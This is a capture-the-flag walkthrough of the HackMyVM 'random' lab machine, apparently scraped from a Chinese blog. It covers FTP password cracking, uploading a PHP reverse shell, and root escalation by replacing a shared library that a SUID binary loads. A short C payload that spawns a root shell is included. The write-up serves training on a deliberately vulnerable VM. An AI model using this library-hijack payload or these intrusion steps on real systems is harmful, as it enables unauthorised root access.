当前位置:网站首页>hackmyvm-random walkthrough
hackmyvm-random walkthrough
2022-08-02 03:59:00 【xdeclearn】
1. get reverse shell
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
browse port 80, get the user name eleanor and alan.
crack ftp service, get the user eleanor's password.
use sftp login as eleanor , get into the path /html and upload reverse php shell, visit and get shell.
2. privilege escalation
find the program with suid, we get the file /home/alan/random.
random used Dynamic link library /lib/librooter.so which we can replace.
Disassemble random with ida.
int __cdecl main(int argc, const char **argv, const char **envp)
{
time_t v3; // rdi
int v5; // [rsp+1Ch] [rbp-4h]
v5 = atoi(argv[1]);
v3 = time(0LL);
srand(v3);
if ( v5 == rand() % 9 + 1 )
makemeroot(v3);
else
puts("Wrong number");
return 0;
Regardless of random numbers, you can enter the dynamic link function makemeroot as long as you try a few more times. We recompile the librooter.so with this code:
#include <stdlib.h>
void makemeroot()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

try a few more times, then get root.
边栏推荐
- 3.PHP数据类型、常量、字符串和运算符
- [symfony/finder] The best file manipulation library
- Scrapy crawler encounters redirection 301/302 problem solution
- [mikehaertl/php-shellcommand] A library for invoking external command operations
- 2. PHP variables, output, EOF, conditional statements
- Batch replace file fonts, Simplified -> Traditional
- PHP的几个有趣的打开方式:从基本到变态
- JS objects, functions and scopes
- 百度定位js API
- New usage of string variable parsing in PHP8.2
猜你喜欢

Shuriken: 1 vulnhub walkthrough

DVWA靶机安装教程

(2)Thinkphp6模板引擎**标签

CTF入门之md5

(6) Design of student information management system

hackmyvm: controller walkthrough

The roll call system and array elements find maximum and minimum values for sorting of objects

Praying: 1 vulnhub walkthrough

4. The form with the input
![[league/climate]一个功能健全的命令行功能操作库](/img/ce/39114b1c74af649223db97e5b0e29c.png)
[league/climate]一个功能健全的命令行功能操作库
随机推荐
hackmyvm-hopper walkthrough
hackmyvm: juggling walkthrough
Thread Pool (Introduction and Use of Thread Pool)
Phpstudy installs Thinkphp6 (problem + solution)
vim edit mode
hackmyvm-bunny预排
Batch replace file fonts, Simplified -> Traditional
QR code generation API interface, which can be directly connected as an A tag
利用cookie获取admin权限 CTF基础题
PHP图片压缩到指定的大小
Alibaba Cloud MySQL 5.7 installation and some major problems (total)
[mikehaertl/php-shellcommand]一个用于调用外部命令操作的库
The focus of the Dom implementation input triggers
easyswoole 使用redis执行geoRadiusByMember Count无效修复
CTF-网鼎杯往届题目
Xiaoyao multi-open emulator ADB driver connection
hackmyvm: kitty walkthrough
[phpunit/php-timer]一个用于代码执行时间的计时器
4.PHP数组与数组排序
PHP有哪些杀手级超厉害框架或库或应用?